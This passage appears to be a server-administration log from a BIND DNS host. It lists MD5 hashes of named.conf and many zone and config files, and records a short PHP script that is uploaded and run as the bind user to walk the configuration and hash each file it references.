MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 23:22:33: Establishing a connection
2026-04-23 23:22:33: 

PUT: /tmp/pkp890644

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 23:22:33: 

runuser -l bind -s /bin/bash -c '/tmp/pkp890644; rm /tmp/pkp890644'

2026-04-23 23:22:33: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
